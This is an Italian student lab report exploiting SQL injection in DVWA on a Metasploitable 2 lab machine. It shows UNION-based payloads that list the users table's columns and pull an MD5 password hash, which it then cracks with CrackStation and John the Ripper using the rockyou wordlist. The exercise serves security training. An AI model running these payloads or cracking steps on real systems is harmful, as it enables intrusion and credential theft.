

Report consegna Pre-Build Week 2 Traccia 1

Set indirizzo metasploitable 2

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:63:9f:5f brd ff:ff:ff:ff:ff:ff
    inet 192.168.13.150/24 brd 192.168.13.255 scope global eth0
    inet6 fe80::a00:27ff:fe63:9f5f/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$
```

QUERY

1' OR 1=1 -- -

The screenshot shows the DVWA web application interface. The left sidebar contains a menu with options like Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection (selected), SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security, PHP Info, About, and Logout. The main content area is titled 'Vulnerability: SQL Injection' and features a 'User ID:' input field with a 'Submit' button. Below the input field, the results of the query '1' OR 1=1 -- -' are displayed, showing four rows of user data: admin, Gordon Brown, Hack Me, and Pablo Picasso. The bottom status bar indicates 'Damn Vulnerable Web Application (DVWA) v1.0.7'.

QUERY

1' UNION SELECT 1, column_name FROM information_schema.columns WHERE
table_name='users' -- -

192.168.13.150/dvwa/vulnerabilities/sqli/?id=1'+UNION+SELECT+1%2C+column_name+FROM+information_schema.columns+WHERE+table_name%3D'u...

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

DVWA

Vulnerability: SQL Injection

User ID:

```
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' -- -
First name: admin
Surname: admin
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' -- -
First name: 1
Surname: user_id
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' -- -
First name: 1
Surname: first_name
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' -- -
First name: 1
Surname: last_name
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' -- -
First name: 1
Surname: user
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' -- -
First name: 1
Surname: password
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' -- -
First name: 1
Surname: avatar
```

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin
Security Level: low
PHPIDS: disabled

[View Source](#) [View Help](#)

Damn Vulnerable Web Application (DVWA) v1.0.7

QUERY

```
1' UNION SELECT 1, password FROM users WHERE first_name='Pablo' AND
last_name='Picasso' -- -
```

192.168.13.150/dvwa/vulnerabilities/sqli/?id=1'+UNION+SELECT+1%2C+password+FROM+users+WHERE+first_name%3D'Pablo'+AND+last_name%3D'Picasso' -- -

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

DVWA

Vulnerability: SQL Injection

User ID:

```
ID: 1' UNION SELECT 1, password FROM users WHERE first_name='Pablo' AND last_name='Picasso' -- -
First name: admin
Surname: admin
ID: 1' UNION SELECT 1, password FROM users WHERE first_name='Pablo' AND last_name='Picasso' -- -
First name: 1
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
```

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin
Security Level: low
PHPIDS: disabled

[View Source](#) [View Help](#)

Damn Vulnerable Web Application (DVWA) v1.0.7

password: 0d107d09f5bbe40cade3de5c71e9e9b7

crack da crackstation

CrackStation

Defuse.ca · Twitter

CrackStation Password Hashing Security Defuse Security

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

0d107d09f5bbe40cade3de5c71e9e9b7

Non sono un robot

reCAPTCHA

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-ha1, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1 sha1_bin), QubesV3.1BackupDefaults

| Hash | Type | Result |
|----------------------------------|------|---------|
| 0d107d09f5bbe40cade3de5c71e9e9b7 | md5 | letmein |

Color Codes: Exact match, Partial match, Not found.

Download CrackStation's Wordlist

How CrackStation Works

CrackStation uses massive pre-computed lookup tables to crack password hashes. These tables store a mapping between the hash of a password, and the correct password for that hash. The hash values are indexed so that it is possible to quickly search the database for a given hash. If the hash is present in the database, the password can be recovered in a fraction of a second. This only works for "unsalted" hashes. For information on password hashing systems that are not vulnerable to pre-computed lookup tables, see our [hashing security page](#).

Crackstation's lookup tables were created by extracting every word from the Wikipedia databases and adding with every password list we could find. We also applied intelligent word mangling (brute force hybrid) to our wordlists to make them much more effective. For MD5 and SHA1 hashes, we have a 190GB, 15-billion-entry lookup table, and for other hashes, we have a 19GB 1.5-billion-entry lookup table.

You can download CrackStation's dictionaries [here](#), and the lookup table implementation (PHP and C) is available [here](#).

crack con jhon the ripper

comando

```
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

```
(kali@kali)-[~]
$ echo "0d107d09f5bbe40cade3de5c71e9e9b7" > hash.txt
```

```
(kali@kali)-[~]
$ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein (?)
1g 0:00:00:00 DONE (2025-01-02 22:09) 100.0g/s 76800p/s 76800c/s 76800C/s jeffrey..james1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

prima di chiudere firmo con

```
1' UNION SELECT 'KobraSaat', MD5('pwnato') -- -
```

192.168.13.150/dvwa/vulnerabilities/sqli/?id=1'+UNION+SE

Kali LinuxKali ToolsKali DocsKali ForumsKali NetHunterExploit-DBGoogle Hacking DB>>

DVWA

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

Submit

ID: 1' UNION SELECT 'KobraSaat', MD5('pwnato') -- -
First name: admin
Surname: admin

ID: 1' UNION SELECT 'KobraSaat', MD5('pwnato') -- -
First name: KobraSaat
Surname: a7267e9c64148ce76ea0e07179fc5414

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin
Security Level: low
PHPIDS: disabled

View Source

Damn Vulnerable Web Application (DVWA) v1.0.7